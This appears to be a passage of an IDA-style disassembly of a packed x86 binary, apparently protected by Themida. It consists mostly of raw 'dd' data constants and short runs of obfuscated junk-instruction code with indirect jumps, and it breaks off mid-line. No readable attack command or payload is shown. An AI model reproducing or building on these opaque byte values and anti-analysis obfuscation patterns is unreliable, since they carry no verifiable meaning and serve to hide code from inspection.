sub_5F74D1+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5F74D1 endp ; --------------------------------------------------------------------------- dd 0DC5858Bh, 8D8D07FAh, 80141E8h, 8B014189h, 28D8DC3h dd 6A080143h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 16042444h, 41000000h, 3FE1C351h, 0BA79BE35h, 8B667BDFh dd 8D89FCF2h, 7FA1CD9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 2FC35141h, 0AC99D89h, 9D8907FAh, 7FA329Dh dd 31AD85C7h, 61E407FAh, 890F0000h, 14h, 8E8h, 70B66C00h dd 16A764D5h, 890FCFh, 5F000000h, 286DB529h, 85C707FAh dd 7FA2BD9h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B1C35545h dd 0AE9h, 0F7A0ED00h, 0BAE98665h, 0FF1F0F09h, 0FA2EA9B5h dd 56006A07h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 18F77DAFh, 0E98CE43Ah, 8, 0AA63F6E8h, 9700DB42h dd 179995FFh, 853107FAh, 7FA0539h, 95FF006Ah, 7FA1019h dd 6EEBC08Bh, 28F235F4h, 0ABBBB775h, 69B57315h, 0F3B6417Dh dd 8F934CE2h, 0A557D236h, 0A6F2134Fh, 0CE97F6F4h, 3EC430D0h dd 35F8F9CEh, 8096109Eh, 55D81E0Bh, 351CF66Bh, 11E8C4AAh dd 0ED2268C8h, 253A3B77h, 0C7553C42h, 0AB34E372h, 11A0B9Ch dd 0CCAD510Ch, 8FB03FF6h, 0F1A3AC0Dh, 7E5B7F58h, 5D6F5473h dd 2AC9250Bh, 6BC9C491h, 840491EAh, 85C6CFFBh, 7FA0665h dd 30DF6856h, 0B5FFA9C5h, 7FA2095h, 0A3DD858Dh, 0D0FF07FDh dd 30DD8D8Dh, 6A5107FAh, 0A1B5FF40h, 0FF07FA27h, 0FA22B5B5h dd 0FFD0FF07h, 0FA27A1B5h, 0B5B5FF07h, 0E807FA22h, 11h dd 940F560h, 324FDE75h, 0D0E92C54h, 42497C45h, 835858F8h dd 2CC104E8h, 24C10224h, 4030224h, 241CF724h, 68h, 34FF5900h dd 0EE815E01h, 65F083E6h, 466DEE81h, 0F6811E17h, 5FC3A2C2h dd 83083489h, 3B4903E9h, 850F240Ch, 14h, 27E9h, 4BB99A00h dd 1DA68D4Eh, 0F8B7BCC3h, 91ECE253h, 0FFFFC1E9h, 4080A5FFh dd 14E998EAh, 561A6EFAh, 0F5E74A63h, 367CDC3Dh, 27199D8Dh dd 38B07FAh, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 9E8C9h dd 87E20000h, 910CC1A0h, 608103B6h, 8B665B50h, 815F61D0h dd 64CEC7h, 0BDB9F500h, 8131ED97h, 0ED8F42F1h, 10E931h dd 7E3B0000h, 5D2C2853h, 0E6FB3DFAh, 48D140Ah, 178B25F0h dd 79DE8166h, 7EA8158h, 0F163C0Eh, 1489h, 0FE900h, 577B0000h dd 7898F354h, 9539518h, 1A097F96h, 50F28137h, 0B705E9BEh dd 0C28110h, 0E9034129h, 14h, 5923E2E8h, 0FD1F6DC5h, 0F7543B39h dd 83A079E9h, 0B5D14238h, 840F6052h, 2, 0D98A6160h, 83078F61h dd 8B6601EFh, 4F4F4FC7h, 0BE9h, 0BCDC200h, 0B4234F35h dd 7DFCF83Ah, 1E981h, 850F0000h, 0FFFFFF7Eh, 0DE8F860h dd 22000000h, 3FF8133Dh, 5818C582h, 5D35E14Ch, 830Fh, 615A0000h dd 9E8h, 7B5E6700h, 0A0EF4A5Bh, 58FCED99h, 0C081F18Bh dd 5D5Ch, 0CE9h, 0CF386600h, 3186FD1Ah, 89CE0EB3h, 173ABB15h dd 81660000h, 8B8B93CEh, 8152B510h, 0ADA571C2h, 74F28128h dd 8149F598h, 257D68F2h, 8D0F4Ch, 89000000h, 0CE810h, 77920000h dd 0D852DF16h, 74119C59h, 0FE8B75C8h, 4E8835Fh, 2958BEh dd 1EB810Eh, 0F000000h, 0FFFFBA85h, 0CFBE66FFh, 0BE8ACh dd 10530000h, 779A70F5h, 8F0D988Eh, 0BE980h, 0C340000h dd 0E8080B9Ah, 7DAE8E35h, 0E5B05B20h, 5E92C381h, 0AE90000h dd 24000000h, 9B14984Fh, 431F11Ah, 177CBE24h, 38B40000h dd 0BF0F33FFh, 0FE95FC9h, 1C000000h, 3519BAD9h, 0F65E2885h dd 201DC5C9h, 0F7813F75h, 2DE308F1h, 71C9BA66h, 137FC781h dd 816606ECh, 81107BD0h, 766C3AF7h, 59FC536Eh, 38FF957h dd 0EB817EB1h, 1C89E846h, 0BE9h, 0FEA92D00h, 8E298C87h dd 9D9F761Ah, 0E842C381h, 0BA661C89h, 0EE81DE18h, 1, 0FF96850Fh dd 0CA8BFFFFh, 2DE9h, 70F4F000h, 55h, 9 dup(0) dd 0BFE90000h, 68000004h, 80147BFh, 0F93863E9h, 481C68FFh dd 59E90801h, 68FFF938h, 801493Dh, 0F9384FE9h, 0D3CB4BFFh dd 7C22F09Dh, 227C9946h, 0CED03FECh, 7826EB98h, 72590E42h dd 1CC9FF9Fh, 0C370A6F8h, 6E1B514Dh, 0F4C3F9A5h, 0C91D809Ch dd 0DD4307E7h, 86E90545h, 0AC07E7C9h, 0A7F6AD53h, 0D9EB236Ah dd 0E3EF8F2Eh, 898AEF7Ah, 0E0308515h, 0C7E333BEh, 0FFE6E964h dd 2AD03992h, 10FF54ECh, 287E88Eh, 10B2CE5Eh, 0B607E106h dd 3FA6D25Dh, 4907E0FDh, 0F25571B1h, 2007E0FCh, 0E6A021C7h dd 6F09A7DFh, 30E4540h, 0A0F50000h, 0CD842A74h, 0CEBB657Bh dd 64AD0292h, 208915FEh, 0C4C6E27Ah, 0A307E089h, 35DBC34Eh dd 0F25693ECh, 545F004h, 11A1BFCAh, 127591D1h, 40FA85E3h dd 29B9E6D6h, 82EB9297h, 94A668DCh, 338C027Fh, 0E44763A3h dd 0C3FD4B83h, 4B8444A7h, 0D81972FDh, 2D46D97Fh, 5874045Ch dd 545BED3h, 136F88B2h, 2874D4B2h, 50E03982h, 508618FBh dd 0B4AE63B8h, 4BD63F5Fh, 6E7CDFFBh, 51AAFA86h, 7E9542E8h dd 1359D00Fh, 44ADBC59h, 2B79686h, 9D3C7763h, 2F0h, 0B8EEB066h dd 6197070Bh, 73D61B4h, 0B3E9B55Ah, 5D930B06h, 868B7429h dd 0DF35E218h, 34DC89BFh, 8C87346Ah, 0B50DDC12h, 0E7CA3699h dd 3FF65C07h, 3ACA96F3h, 0CA702EE5h, 0CA071632h, 3C9507E7h dd 0E4BA57ACh, 8E1001AEh, 0C96FD703h, 1307E7h, 3C42E09Eh dd 8CC76E63h, 293EDh, 4B53C300h, 0F4AA6815h, 9A0411BEh dd 4658B764h, 0F0AE6310h, 0EAD186BAh, 94417727h, 3BE81E80h dd 0E693C9D5h, 6C3B712Dh, 0CB95F814h, 55BB07E7h, 0CA96F39Eh dd 6BA5FA3Ah, 0A198D33h, 9807E7CAh, 2188B43Fh, 2B07E7C9h dd 0B1E9F0AAh, 984075D1h, 42CDD143h, 0C1927319h, 23000001h dd 0A2326CA7h, 758B3278h, 993F72EBh, 2C72A106h, 8095EF6h dd 6BF0536Fh, 0BD16FFE7h, 3C4DAE54h, 0DE789424h, 407E196h dd 8DF420ABh, 9707E146h, 4D8D5C16h, 0E146CE31h, 0F59BF407h dd 6F4DED25h, 208B40h, 0F31C0000h, 1E3ACA96h, 7E09C50h dd 3E6AF54Eh, 7E09BD7h, 9FA660E1h, 406EA767h, 0BA05h, 6CA79600h dd 0CF42A732h, 9FF444CFh, 7E20EF73h, 0BB61CAF3h, 0E99050Eh dd 0F8A669BEh, 0F19E446Dh, 0D2467C22h, 0FFE68849h, 4C821CF7h dd 469B9EEBh, 568D4CAh, 2BFFE687h, 84D969D2h, 5C85108Eh dd 2C021EB6h, 3A07E367h, 0A5306EA5h, 2E83137Ch, 0D885BBE3h dd 0A3A76539h, 849E615Eh, 172AA49h, 32E40000h, 8989366Ch dd 0E332DF15h, 37D885BBh, 8D843167h, 0F2A7DB11h, 60960809h dd 73D61B3h, 0B2E8B65Ah, 5A900E05h, 0B417338Bh, 0E207E7CCh dd 6AA7C57Ch, 1D8618F8h, 0C2DC388Dh, 2A680E37h, 0D3365292h dd 1FFE683h, 6BF6A86Ch, 905FD942h, 0A390D332h, 82913EE4h dd 0A72FE61Ch, 7F1FF66Ch, 2588A4F4h, 4BFFE683h, 952089F2h dd 86E90545h, 5DFFE683h, 0E683DE41h, 6AAB04FFh, 2658111h dd 30FFE683h, 8F8431D7h, 1178D90Fh, 0A96ABF4Fh, 9B416AF5h dd 0D2E6E703h, 77D007E0h, 0E37F92E7h, 0BEE7722Ch, 3BA4FA19h dd 0D22A9105h, 1FF407E0h, 0D2D93C58h, 6EA307E0h, 696EF30h dd 0E0D287EAh, 0EB54AD07h, 9DDD1DB5h, 0E0D21E81h, 7FEB4407h dd 7E0D21Ch, 9E4BF14Ah, 7D21EF73h, 0F398914h, 0DA9CD659h dd 811DF2EAh, 0BE64CDF6h, 83D7h, 0D53A8F00h, 0AEF024C9h dd 9D54FA23h, 3ACA96F3h, 0E7CA0B1Eh, 0F049907h, 66A0237Eh dd 2B947F40h, 41D237C2h, 3A8F275Dh, 0EE3EC9D5h, 0E8786FD2h dd 0D33C9507h, 0B93802Dh, 37775480h, 144D655Ah, 0DA9D765Ah dd 56CD5BBEh, 0C7308955h, 6F2FE491h, 0E907FE4h, 0ADF11E83h dd 4658BD22h, 0B46E9FBBh, 57113A0Ch, 0C8FEA073h, 1BA6F81Bh dd 137Ch, 92BC1500h, 0A3585815h, 0B9CCE661h, 0E338A620h dd 0EE4DE68Ch, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h dd 21B46852h, 2C890000h, 2FBD6824h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, 80146A4h push esi xor dword ptr [esp], 40C24784h pop ecx xor ecx, 40C24784h pop esi push esp mov edx, [esp] add esp, 4 push ebp mov ebp, ecx push ebp xor dword ptr [esp], 5A8B5AFCh pop dword ptr [edx+8] xor dword ptr [edx+8], 5A8B5AFCh pop ebp push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- dd 0D4B8FF9Ch, 308014Ah, 0ECE0FFC5h, 813F4223h, 38520DFCh dd 0A00B1E24h, 48370141h, 9E093B51h, 8D4A648Fh, 0F61AD9DEh dd 3E321E36h, 80EB265h, 2515CA3Bh, 0E93B6174h, 9, 69B032E3h dd 0 dd 645E900h, 0E2340000h, 39D986BCh, 93822F65h, 0E728D50Bh dd 3DD481B7h, 42F72B61h, 0B0E6B859h, 578D1103h, 23866AAh dd 0AAE0BE55h, 46783DBh, 3207E7CEh, 0A70A34CCh, 2590EA4Dh dd 0A7873EE4h, 57A7326Ch, 0EA900E02h, 94CAD43Dh, 0E2722CE7h dd 832386A2h, 2318FFE6h, 69B669Dh, 0AF55AEEFh, 425CB71Ch dd 0DEC052B7h, 7C1FA53h, 78AEF023h, 0C95945CBh, 73039B74h dd 0E6FFF457h, 23C922FFh, 8AD838E5h, 6836DA88h, 0E24B74FFh dd 7C22F257h, 506CACECh, 0FFE6FFEDh, 0EB4EBA13h, 19FFE6FFh dd 0F5871AC0h, 0E22E12CCh, 3AD986BCh, 3489D964h, 0A61AC0DEh dd 0FFE70040h, 3F460071h, 38750C07h, 62A5h, 6CA73600h dd 167BA732h, 0DCFFE683h, 0A3DD6836h, 0F5B98C76h, 6DA44962h dd 598AA631h, 48B9F79Fh, 684F878Eh, 1ED3875h, 7E000000h dd 1D226BA7h, 372E60A5h, 298E1982h, 0C52AB5E9h, 0A6F8184Ah dd 0BB58AD3Dh, 51AA3DE3h, 658F5E18h, 6638E1F5h, 6714BA89h dd 0E63F3ABh, 0E8119C02h, 0BC570442h, 0A7F5ACE2h, 4FA4346Ah dd 2A749DC5h, 820D769Fh, 0BB20B359h, 0A0BC4757h, 40D1B56Fh dd 83B81B37h, 85DEFFE6h, 0E46F2FE0h, 98C252BBh, 0E7D0768Dh dd 57953BB6h, 0AA3569AAh, 8BA7D045h, 0FFE6B028h, 18CF54Eh dd 9AA15BDCh, 3874B652h, 6A100F39h, 0E4BB9053h, 0B5D53854h dd 0A2FBFFE6h, 4E1BFCh, 0A7AC0000h, 44A9346Ah, 0DD42CDD1h dd 0B5F45B32h, 0D4548037h, 977BE06Bh, 0F7387C07h, 0C3FC953Dh dd 0B2EC2509h, 5C42CF7Ch, 0FBA36CD1h, 10CA4B70h, 7553C109h dd 435F38h, 0BA0F0000h, 0EAA14757h, 0A9346AA7h, 47D2CC44h dd 2408C203h, 0C47BB1EDh, 0A3336BA7h, 50DBC34Eh, 0D918227h dd 20B35982h, 0E6838EF4h, 944EBFFFh, 748F558Dh, 2EE73C38h dd 8F80E570h, 1F00A60Fh, 1, 0A867BCB0h, 0B9445ABAh, 739C2790h dd 0CE5945CEh, 0C352FFA5h, 28EB50DBh, 85A1D63Ah, 0FFE68322h db 50h byte_5F81E9 db 0F7h, 8Eh, 25h ; DATA XREF: Themida_:0059FCAFo dd 0A7D04095h, 0E683288Bh, 8CF54EFFh, 81C153E6h, 83C22541h dd 85A1FFE6h, 0FFE68322h, 5DB6F750h, 0BB4658B8h, 0B16BEC92h dd 0AA69B8E2h, 7FB22BACh, 0A4E92CD9h, 0E7802E3Dh, 8FAB3B34h dd 0FFE72E2Ch, 6298015Ah, 49A75CAh, 49AA5079h, 74902040h dd 7E14516h, 3699B5F5h, 5C07E13Fh, 0BB145D03h, 8155012Bh dd 0EB6A9798h, 0F25CAF71h, 751BF8C7h, 0A76892E2h, 9A0EEA67h dd 40FBC62h, 5CB7649Ah, 6910D06h, 93379AB6h, 45D07E0h dd 4DA2329Bh, 224BD6C8h, 58BDE97Ch, 4307E093h, 0AF644802h dd 70CB9EFh, 70882D86h, 0B41D02C9h, 4F4FC429h, 0EAB45FC4h dd 8618FA5Fh, 217D96FBh, 0A8E96D96h, 0B9EA46EEh, 35DB30FFh dd 728EDE69h, 7E0FC0Fh, 0CE73DC35h, 0AB75D41h, 0C75F9509h dd 0FC086B87h, 0D52E07E0h, 8275F2Fh, 7EC5406Fh, 56000001h dd 3ACA96F3h, 326CA5FAh, 64D87EA7h, 7E0B80Eh, 2E91ADEDh dd 0F007E0B8h, 0C8F17C22h, 88EB0787h, 0AE07E0B8h, 0FD46EC55h dd 54BF14A4h, 0F096BF4Ah, 831BF85Dh, 2B73A04Dh, 0C6D83BA0h dd 633BD63Bh, 9E73D8h, 818A3B75h, 0B4D660CDh, 896D2758h dd 6089148Ah, 29539BF7h, 8BA10F5Eh, 399CB89Fh, 6707E098h dd 7EFFA50Eh, 2F33E0C4h, 1E54BDE1h, 0C0DE3186h, 0A4124A1Ah dd 56B0406Eh, 41000000h, 36C69AF3h, 0E683971Ah, 6DA83D7Fh dd 147DA631h, 0F4F35A84h, 0CC988936h, 0EBAF936Ch, 30D63F54h dd 4E0E719Dh, 0BAE37FE6h, 3B256800h, 4E0C8FABh, 61BAFFE6h dd 0F8957CD1h, 0B86E452Bh, 18A30CD7h, 240B49EFh, 0B5h dd 0B322B2DCh, 4EC8D63Ah, 913788E3h, 7A92BCDAh, 6C1CBDE9h dd 2069CA70h, 4670B040h, 7BE9D7A6h, 298CA8F5h, 57FFE6EEh dd 7BEF95FEh, 7E10511h, 0C72A4686h, 0ED07E100h, 4CA5EE94h dd 0E7B75CC1h, 90EF19B1h, 4BE1D3A7h, 1F7F9035h, 18C56B94h dd 0EC18A3FBh, 7E14684h, 4024DE1Fh, 1C828FD3h, 6FFF6891h dd 45B0132Fh, 7DD607E1h, 513899D7h, 7B637F0Fh, 1C0FE290h dd 0C5DC0DCh, 2A830FE2h, 52E23B84h, 0E28816FDh, 67AAFF4Fh dd 2FE49137h, 839FDF6Fh, 0FE20C20h, 0B447ED46h, 703FF922h dd 59231646h, 8B3139DDh, 71015F2Ah, 0E37E6D55h, 0EA207917h dd 0CA96F333h, 2590103Ah, 634D0FD3h, 210925BDh, 0C507E892h dd 977CE16Ch, 0F3227707h, 0B056884h, 0D22B07E8h, 0FB5DE69h dd 0AFEF24D1h, 6C79F824h, 0D60F6999h, 1DF84D1Ch, 27CDF681h dd 0C2DE997Ah, 69976B5Fh, 6EAFEF21h, 0DC1CAC15h, 976B5DC0h dd 0F7E84A69h, 1968C52Bh, 9BD97FD8h, 0D83D25EEh, 39D63BC6h dd 48B1DA65h, 0DA0454DFh, 0D820C3DDh, 0D9862CA6h, 78DD6836h dd 0EE96F697h, 970E43D9h, 0D53EA32Eh, 0F1223EC9h, 7DBD8F37h dd 69BF133Dh, 67181302h, 971198FBh, 0BF65BE69h, 8BB5843Eh dd 38FD5EBAh, 1FB47B7Eh, 69E48E08h, 2EE59238h, 78A23A70h dd 9F9DBB6h, 0AB75DE8h, 0D6B75909h, 233E48FBh, 0A50E7718h dd 177B1Ah, 0F3330000h, 971174D7h, 0CBD33E69h, 0D48B318Ah dd 0F6A867BCh, 39C426Bh, 2F6FA7A4h, 0CAD43FA4h, 6836DA3Fh dd 29C78DDh, 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h dd 108E84E9h, 89575285h, 95B850E7h, 2D249A72h, 531840FAh dd 0D0F7D8F7h, 0CA7E2E25h, 568E0545h, 9C3577ECh, 1B96E86h dd 0EF8358C7h, 243C8704h, 0E789575Ch, 4C781h, 0EF830000h dd 243C8704h, 2404895Ch, 0C9568h, 24148900h, 14B8D68h dd 24048B08h, 4C481h, 0EC810000h, 4, 83242489h, 5A042404h dd 4EC81h, 2C890000h, 89C58924h, 8B5D086Ah, 89532414h dd 4C381E3h, 81000000h, 4C3h, 241C8700h, 24048B5Ch, 81E78957h dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFF92D30h, 55A870D3h dd 0A2DE9EFBh, 2F8365E2h, 0B86E90BDh, 8015121h, 0E0FFC503h dd 705B09CFh, 554C0D4Bh, 7B782E14h, 14FC19ECh, 65EC1E63h dd 7F241A98h, 54A0C9C8h, 105928B9h, 74F94D89h, 72FEEADEh dd 29D8A8BBh, 2DD46AE0h, 52D88D8Dh, 6A0801h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F3A918C3h dd 2751B58Bh, 8D8907FAh, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0A0C35747h, 9A9C0CB6h, 0E7CA8166h dd 9E8DAh, 0E4780000h, 0E352E0CAh, 0FAB9F54h, 583h, 74A4BF00h dd 0C758655Fh, 0FA31AD85h, 615007h, 95950B00h, 0C707FA15h dd 0FA2BD985h, 7, 0B3EA8000h, 167DB5FFh, 6A07FAh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 7F594DC3h, 9F881F92h, 8B6A31BFh, 0FA20319Dh, 9995FF07h dd 0F07FA17h, 6AD6B7h, 101995FFh, 0C08B07FAh, 0DC7D0EEBh dd 3D8B1EBCh, 0BD7EFD02h, 5027B569h, 12E8h, 16382700h dd 615AEACAh, 7C5033E9h, 0C816B62Ah, 0E9EDAC77h, 0Eh, 47026FF3h dd 8C2D1BBBh, 0C960904Fh, 0F5FF69Fh, 0C781DEBFh, 68ACh dd 1A07B8h, 0E6816600h, 0F8B4CEAh, 0D9D9D8Bh, 0C18107FAh dd 24204A61h, 11E8h, 126ADB00h, 0DB581D2Dh, 5E3C5D26h dd 0C66C5322h, 0CDBBDF6Ah, 5E2E0709h, 813DF181h, 0D38B772Ch dd 0C010C181h, 51F517C4h, 0AA62EDBEh, 66078F78h, 83E622BAh dd 0C28104EFh, 2A7C29D9h, 1E881h, 850F0000h, 0FFFFFFA6h dd 0BE8F5h, 2AE90000h, 0A23F58B1h, 5A10D239h, 0ED9D337Fh dd 5A07FA01h, 6001C281h, 9D8B0000h, 7FA1005h, 17CDB8h dd 1FBB6600h, 0E832FFD3h, 0Ah, 0FF958C33h, 0FD90E28Fh dd 9D897474h, 7FA21E5h, 8E95F5Eh, 33000000h, 491ECA42h dd 81A5746Ch, 64B990F7h, 9D0B5356h, 7FA25DDh, 3BEF815Eh dd 812EDDD2h, 78777DC7h, 0F08B664Ah, 0EA833A89h, 12E904h dd 5150000h, 0B1535D87h, 0B8EB4987h, 7F77414Ch, 2C482E60h dd 1E881h, 850F0000h, 18h, 0C3DFBB66h, 36E9h, 0B4DD5700h dd 15C1A0Ch, 0F33FAFFEh, 6881BC95h, 0DE9h, 0EEBABC00h dd 3E3F8488h, 23FD3917h, 66E90D62h, 0B1FFFFFFh, 656A048Fh dd 68A3159Bh, 986B6737h, 0E8E4FD80h, 0Ah, 7A811E12h, 3706E99Ah dd 0F081BBC5h, 4C395764h, 69B58B5Bh, 8107FA20h, 6C4FC3h dd 0CCEFB900h, 0E9816C61h, 6C61B1FEh, 1855958Bh, 3B8B07FAh dd 6E9h, 20F2BD00h, 81B341F0h, 34419EF7h, 92CA817Eh, 815EB4DDh dd 67B4E7EFh, 0BD8B6018h, 7FA0829h, 15918D29h, 816107FAh dd 0E38709F7h, 5860F1Ah, 66000000h, 0D1C9C281h, 0BE663B89h dd 0EB813A49h, 186F87B1h, 0ADC381F9h, 66186F87h, 83847CBAh dd 850F01E9h, 0FFFFFFA2h, 8B0ACC80h, 0CDBD83C0h, 7FA2Ah dd 0BD830975h, 7FA1899h, 50197400h, 0B8C08B53h, 421h, 20C98589h dd 9D8D07FAh, 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh dd 0B8535017h, 421h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh dd 9D8BC08Bh, 7FA14A9h, 66585C6h, 685607FAh, 9CA8B852h dd 2095B5FFh, 858D07FAh, 7FDA3DDh, 46AD0FFh, 100068h, 69B5FF00h dd 6A07FA1Ch, 85D0FF00h, 0D850FC0h, 0B8000000h, 0 dd 72FB8D8Dh, 0E1FF07FAh, 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh dd 19BD83D3h, 7FA27h, 0E840Fh, 9D8B0000h, 7FA2719h, 1EA9858Bh dd 38907FAh, 858D5251h, 7FA43D1h, 0FA8BD0FFh, 0D18BF18Bh dd 0A4F3C88Bh, 66585C6h, 685607FAh, 0D41F6D39h, 2095B5FFh dd 858D07FAh, 7FDA3DDh, 68D0FFh, 6A000080h, 0D0FF5200h dd 0BD83C08Bh, 7FA2ACDh, 83097500h, 0FA1899BDh, 19740007h dd 0C08B5350h, 421B8h, 81858900h, 8D07FA15h, 0FCE28B9Dh dd 5BD3FF07h, 99BD8358h, 7FA18h, 53501774h, 421B8h, 81858900h dd 8D07FA15h, 0FCDF2C9Dh, 5BD3FF07h, 8DC08B58h, 0FA27199Dh dd 0B038B07h, 7840FC0h, 8B000000h, 45B8B03h, 41B81889h dd 0E800004Bh, 0Ah, 0C59AAE95h, 43C04D20h, 0DE96F00h, 0DB000000h dd 6BC0E5B6h, 0CA423373h, 746C491Eh, 0C68B665Bh, 0D847C381h dd 9BBF0000h, 68386775h, 0 dd 28E0Fh, 0D08A0000h, 1934FF59h, 0AE95EF8h, 0FE000000h dd 0D431A16Bh, 7B34B337h, 0F0F68169h, 6645B2C3h, 81D8F0BFh dd 75161FEEh, 81D78B67h, 0FF3006F6h, 0A0B86629h, 0B3489CFh dd 0C68BD08Bh, 4903E983h, 0F981C78Bh, 0FFFF285Ch, 0C850Fh dd 0F98B0000h, 1EE9h, 8D595B00h, 0BF0FA8F7h, 0FFA3E9D3h dd 0A35CFFFFh, 76C22E1h, 0A8844ECh, 0EE31FBE6h, 0FE7BA155h dd 0E2E2FCAh, 4AA68CA8h, 0E2F6A8Ah, 0EAD5ABA8h, 0E2FC275h dd 4AA78AA8h, 0AE5DBA8Ah, 4AA46757h, 0E2C328Ah, 0EAD5ABA8h dd 0E2C8575h, 4AA555A8h, 0E2D078Ah, 4AA5D7A8h, 0E2DF98Ah dd 0EAD5ABA8h, 0D42F2575h, 1D2B0C81h, 6A2C003h, 90A75CA9h dd 59A31D1Dh, 422ED121h, 0D42F4D8Bh, 1D2B0C46h, 6AAC003h dd 90A75CA9h, 59A31CCCh, 423AD121h, 0D42F4D8Bh, 1D2B0D35h dd 6B6C003h, 90A75CA9h, 59A31C78h, 4236D121h, 0D42F4D8Bh dd 1D2B0E9Eh, 682C003h, 90A75CA9h, 59A31FF5h, 4202D121h dd 0D42F4D8Bh, 1D2B0E68h, 68EC003h, 90A75CA9h, 59A31E8Bh dd 421AD121h, 0D42F4D8Bh, 1D2B0FEAh, 696C003h, 90A75CA9h dd 59A31EF1h, 4212D121h, 0B8C34D8Bh, 152A5012h, 0D24ECEDFh dd 0FD4AA86Ch, 51A2458Ah, 0F6C0D5F2h, 96AA44DDh, 152AA8EDh dd 2429458Ah, 96E367A0h, 0D5ADBAB4h, 152A54A1h, 5564C6CBh dd 0EAD5BA41h, 0AE63CE75h, 0EF3C7D3Ah, 5342848Dh, 0EA2211ABh dd 245D55FFh, 9C3AABA4h, 0DAC3B9CFh, 0D7E3A8EDh, 0DAF74586h dd 0E9EED744h, 59D7CEEAh, 0D2262923h, 51A2B9CFh, 0AD6C54A8h dd 51A24162h, 0BFEA6603h, 0DB2FEE27h, 1D2B3CAAh, 1129475h dd 17A0D902h, 0AEAA44E2h, 51A1EC79h, 0DC0941AEh, 14425622h dd 3773BA82h, 732ADF10h, 5328C821h, 0EA2255C0h, 152BFD5Bh dd 9881508Ch, 50CA4700h, 0A5FBABA0h, 2C89EFD2h, 0E957DDA4h dd 0ADE7CEEBh, 15229661h, 0D24ECEDFh, 0FD4AA86Ch, 51A2458Ah dd 0B6C0D5F2h, 0DAAA44D2h, 68A15CDDh, 0ADE78286h, 152A54A8h dd 0A030BACCh, 9E2DAEB5h, 0FC69CE52h, 0A5B99783h, 0FA31EFE2h dd 17A0D9F9h, 0AEAA44E2h, 949A0D79h, 551A2320h, 8481328Ch dd 5DDF6E21h, 74D62921h, 985E0001h, 402A5C6Ah, 9521A901h dd 15C23454h, 0BA2458Ah, 4DD0BE29h, 24294D8Bh, 1957DFA0h dd 515E004Dh, 532A54A8h, 4C53D775h, 0CDA15352h, 0FC69CE19h dd 0A5B9979Bh, 0FA31EFE2h, 17A0D9F9h, 0AEAA44E2h, 949A0D79h dd 651A2320h, 8481328Ch, 5DDF6E21h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0FDA2458Ah, 1DC9953Bh, 919197B9h, 38F2DE04h, 51A2454Ah dd 1AD5A828h, 51A25E0Eh, 1523EDA8h, 0A055458Ah, 9025862Dh dd 51A24586h, 7332A328h, 37AA8E4Bh, 0BE4C9723h, 0D8AE38A1h dd 9E4BA8D5h, 936BB9CFh, 9E7F54A0h, 0AD66C666h, 1D5FDFC8h dd 96AE3801h, 152AA8EDh, 0C20E458Ah, 2622B769h, 0FD627658h dd 0D5078C22h, 0D1A2458Ah, 9125AB54h, 51A24593h, 152A5D11h dd 0D453B28Ah, 1FAF5B7Ah, 0E0A2458Ah, 93E25610h, 9191EF4Bh dd 19577F03h, 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h dd 24292576h, 1957DFA0h, 515E004Dh, 0B92A54A8h, 0B2229D00h dd 85E1D4A7h, 0DC088600h, 14425622h, 0E173BA82h, 9FA7FEF8h dd 59A32D88h, 0D6A08557h, 5DDF6E20h, 74D62921h, 985E0001h dd 402A5C6Ah, 9521A901h, 60A13454h, 5DDFCE82h, 15D6116Fh dd 0E9A2458Ah, 152A54AFh, 478BD775h, 45265352h, 5328C820h dd 0EA2255C0h, 0FB2BF55Bh, 3186949Bh, 59622E85h, 0A58050ACh dd 2C89EFAEh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 9E4AA86Ch, 2C294DFFh, 0E96F93A4h, 51A2458Ah, 87D5FE04h dd 5658587Bh, 17868C23h, 0DB2FEF49h, 1D2B3CAAh, 0E9C49475h dd 0BE4CBD28h, 7A088600h, 68A358D5h, 14292476h, 1DE89D54h dd 0BD29108Ah, 75D6902Bh, 0DAAA3001h, 50ED58D5h, 51A24576h dd 0EA80F8A8h, 0ABBFB418h, 0B9E2DFAFh, 0DC088558h, 14425632h dd 3771BA82h, 73E39410h, 0FB63CF21h, 9C262983h, 0DAC3B9F7h dd 0D7E3A8EDh, 0DAF74582h, 0E9EED744h, 59D7CEEAh, 0D2262923h dd 51A2B9CFh, 0BF8654A8h, 4C53D775h, 0DDA15352h, 0FB637726h dd 7D28CE25h, 825D4D8Bh, 0E4AAECCEh, 9028EEECh, 19577F02h dd 305E3803h, 0DCD61123h, 4A24D48h, 0D1A9B823h, 24292576h dd 1957DFA0h, 515E004Dh, 732A54A8h, 376B7732h, 17B0D903h dd 0AEAA44E2h, 9592327Bh, 0FD09234Bh, 6801FE04h, 0ADDFCC86h dd 0E96FDFC9h, 51AA8743h, 96C6DFFDh, 0DAC2B94Eh, 68A15CDDh dd 0ADE78286h, 152A54A8h, 0B824FDECh, 8FA7FFCEh, 59A32D88h dd 0A09A8757h, 0FB0E0320h, 7D28CE25h, 825D4D8Bh, 0D8ACECCEh dd 2C89EEECh, 0E957DDA4h, 0ADE7CEEBh, 15229661h, 0D24ECEDFh dd 0FD4AA86Ch, 